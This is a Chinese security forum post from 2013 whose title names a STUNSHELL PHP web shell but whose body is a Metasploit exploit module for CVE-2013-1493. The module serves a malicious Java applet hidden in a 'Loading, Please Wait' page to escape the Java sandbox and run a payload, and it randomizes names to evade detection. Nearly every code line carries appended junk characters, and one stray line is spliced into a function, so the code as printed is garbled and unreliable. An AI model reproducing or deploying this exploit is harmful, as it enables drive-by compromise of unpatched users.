找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2311|回复: 0
打印 上一主题 下一主题

STUNSHELL PHP Web Shell远程执行代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:31:17 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
##
" q% g* G! L# Z: F4 N8 J. S5 e6 d* X, N5 n# E" y
# This file is part of the Metasploit Framework and may be subject to' N# M' P6 ^7 P% Q! D
# redistribution and commercial restrictions. Please see the Metasploit
' q' [: c* W4 X. `3 p# web site for more information on licensing and terms of use.
* r9 l# n- B, y3 Y8 o+ G# http://metasploit.com/& O; R  k+ v6 ~$ r/ X
##
9 g+ b. b; @- i) G& D  u3 T6 L% srequire ‘msf/core’
5 L/ [5 Z* O9 A! f  Drequire ‘rex’
! ?4 @& j. D2 `7 G" E" F9 jclass Metasploit3 < Msf::Exploit::Remote0 @" u5 y5 e, y, U; n
Rank = NormalRanking
3 @2 }3 X7 L3 E# |- t! _, R" k; qinclude Msf::Exploit::Remote::HttpServer::HTML
3 ?% s9 D' W2 i. Rinclude Msf::Exploit::EXE. o7 u. @8 t- W* P/ ]* d1 c
include Msf::Exploit::Remote::BrowserAutopwn4 L! x4 a5 X: I( A- |' ]
autopwn_info({ :javascript => false }); g8 i& _5 ~5 B7 `' X5 P0 k- i  Y
def initialize( info = {} )1 S  d6 Z& ^: C8 O. K/ Y9 `& I/ M
super( update_info( info,
0 t" ^$ A* X3 P- U‘Name’ => ‘Java CMM Remote Code Execution’,
( E: e; F' Y, H1 l3 u" ?& G+ \# _‘Description’ => %q{; {; [3 l- {) p7 a5 T8 J3 ]
This module abuses the Color Management classes from a Java Applet to run% S1 j8 {: _9 k
arbitrary Java code outside of the sandbox as exploited in the wild in February# K+ }& h& c# K  h' v% T
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41" x9 t9 I  w# g# e* o, Y
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1( n/ ]+ E/ d8 ], Z: G5 e0 Y
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java
7 f- |( Y8 x- Z" s- gwarning in order to run the malicious applet.: K, |  |9 x( c) O& D6 b
},$ w. y8 T8 }" b0 N- E
‘License’ => MSF_LICENSE,; W" ]# `# L& k  B( C
‘Author’ =>
% |  p# I2 b- V" l5 v. |" e& W' s'Unknown', # Vulnerability discovery and Exploit6 w9 _; N' v* `: o$ J4 u
'juan vazquez' # Metasploit module (just ported the published exploit)) _& J  i; \  M7 C/ c  H& ?
],. a* d' q" `, n% c$ g& ^; n! k
‘References’ =>
) n4 f4 P, Y( F  V2 c0 a$ S[# I6 z+ K" Y2 }" L
[ 'CVE', '2013-1493' ],
8 k8 T' J. Q  ^% q0 [" b[ 'OSVDB', '90737' ],
6 G% F0 L1 a1 L" }& @[ 'BID', '58238' ],4 Z& h* o4 S. O9 B% E0 b
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
4 b; G4 }# ?+ ^6 D[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
8 j) M3 ?8 t# D% ?" d[ 'URL', 'http://pastie.org/pastes/6581034' ]1 c5 ^4 h+ c6 E9 d: I' {; x5 U9 d" T
],- H6 C& B9 e8 M
‘Platform’ => [ 'win', 'java' ],
7 i$ x7 K0 |9 y/ ~‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
4 W9 f8 }; d, H3 V1 _& R6 l‘Targets’ =>
8 K1 K; Z& W& o5 e[/ v6 n, w* m3 y: g8 B6 R3 O
[ 'Generic (Java Payload)',) R5 D/ r, m# b7 L( _9 L
{; x5 u# p# J2 P
'Platform' => 'java',
+ M8 ?: d! {" H9 |& w# P'Arch' => ARCH_JAVA- k5 u$ b/ S/ X+ N4 ^: Q2 r+ G
}
' ?% L3 A' ?0 n  G2 K5 D2 o6 c: J],! O! f- [) w7 ]; J
[ 'Windows x86 (Native Payload)',5 s$ V, M1 r6 a
{
: V0 L  ]7 c+ u# s* o. n2 N9 a'Platform' => 'win',; C' l2 X" c4 ?, ?
'Arch' => ARCH_X86
  S* Z5 N# E2 C6 V# W0 @3 D}; Y% [( T3 l4 d, n, ~5 f, t* j1 l
]
; Z9 q/ l# ^* ^7 d) [* F],
% h. D3 _6 x9 s0 l& \$ ]‘‘DisclosureDate’ => ‘Mar 01 2013′, I! C/ o1 l( E  A7 ~& U! c4 R
)); Q/ ~1 m6 `' D* s
end! b( M) T8 v* h3 F
def setup
- J* Q/ V  }/ @* c. T/ B5 U; dpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
4 q, x# K6 k$ ?  W" q1 i9 U2 W@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
/ |& x# s' M7 V* F* ypath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
7 v) ]; k7 G0 Y@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }/ E0 X3 n3 x: c* Z) }" q2 [
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
* ~# b" ?& `3 ?  |! I) I@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }- h8 u/ Y- b# f! A1 W9 d
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)  c5 B3 X, F" X5 e6 h
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }$ J1 Z+ i7 z& X& k' E
@init_class_name = rand_text_alpha(“Init”.length)
: S5 f0 S0 q5 k5 R8 p@init_class.gsub!(“Init”, @init_class_name)) o0 q( ]2 M1 i2 v, p5 C; L. a
super
1 _; `! Z( p$ t4 }end
2 X- H( u1 g) u$ h9 G9 m9 |def on_request_uri(cli, request)
  L+ u* q+ ?# l( T6 M: uprint_status(“handling request for #{request.uri}”); _3 N3 Y& u9 ]& T+ [6 D& k6 {
case request.uri5 D5 P, H  p% r
when /\.jar$/i
$ ~4 r  b+ C" T) o$ @  m; L5 H: R( Zjar = payload.encoded_jar
  d$ c- Q, J/ {5 `1 X" [! r  h' f/ g, wjar.add_file(“#{@init_class_name}.class”, @init_class)8 @# |: V& o* U
jar.add_file(“Leak.class”, @leak_class)5 ?0 m2 O$ q2 O- W
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)
, Z% T; s$ ]+ Z9 Jjar.add_file(“MyColorSpace.class”, @color_space_class)
3 p4 p9 l- c5 z) ]" E2 r; ]% K! jDefaultTarget’ => 1,
( ]) K6 B" v! }, p. b. k. V# Imetasploit_str = rand_text_alpha(“metasploit”.length)3 i- Z  Z' H. q/ a' _/ O. T
payload_str = rand_text_alpha(“payload”.length)8 S/ ~, m, w3 c  R, e
jar.entries.each { |entry|' |! t" p& @5 {- k
entry.name.gsub!(“metasploit”, metasploit_str); p7 N9 t3 p5 ]/ E3 `7 j) M
entry.name.gsub!(“Payload”, payload_str), R- M3 E7 b' T+ p2 l
entry.data = entry.data.gsub(“metasploit”, metasploit_str)
5 X- N3 P9 O( y/ Fentry.data = entry.data.gsub(“Payload”, payload_str); p; @1 \/ Y7 `3 @/ ^7 G
}1 I% N8 T# I# K" x4 n2 u' C+ `
jar.build_manifest
1 ^0 @3 b. K. Csend_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
2 P8 U2 n4 o( K$ ^when /\/$/
: }) q( B( q- B! V: I4 {' Hpayload = regenerate_payload(cli)
' Z: V- c$ ~# Q0 D! j0 Iif not payload& \8 ]; F8 H4 V) N8 w
print_error(“Failed to generate the payload.”)
5 a. ~4 A6 U7 C" }  D9 i# bsend_not_found(cli)2 D+ F6 d3 b6 e+ p- X6 p: |
return1 e# Y& ]* q8 V  U; g8 Y, G) a
end2 ?8 d7 t, ?2 Q0 Z* g" T$ R6 \
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })! |! |4 c( M5 P2 m3 N2 V5 [: k6 ^
else
4 ?1 k% j( e) Z9 h$ }( Ksend_redirect(cli, get_resource() + ‘/’, ”)+ h8 q- t0 W) `3 \& N9 k% R6 [+ {
end
% C$ V  P& p% x3 q! Xend/ H% m/ Y' ?9 c9 J! \- k4 W
def generate_html
$ r. H$ j3 E% s# Thtml = %Q|<html><head><title>Loading, Please Wait…</title></head>|* W" j8 @& U& D# A# S, W3 Z
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|  Q' t. c" h! S& u, R; ]
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|+ ~) X- ~! x, N. p5 n" Z
html += %Q|</applet></body></html>|
$ b$ u& p( q9 N5 F1 y4 W1 Freturn html" H, N3 |$ `4 k8 z; P$ n& T# Z
end
7 K# D; m5 h# u8 _% h# X. vend+ \8 |, t6 ?$ t+ |2 x: @5 ?4 r
end
; v9 d: f* _" x0 G3 L7 P
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表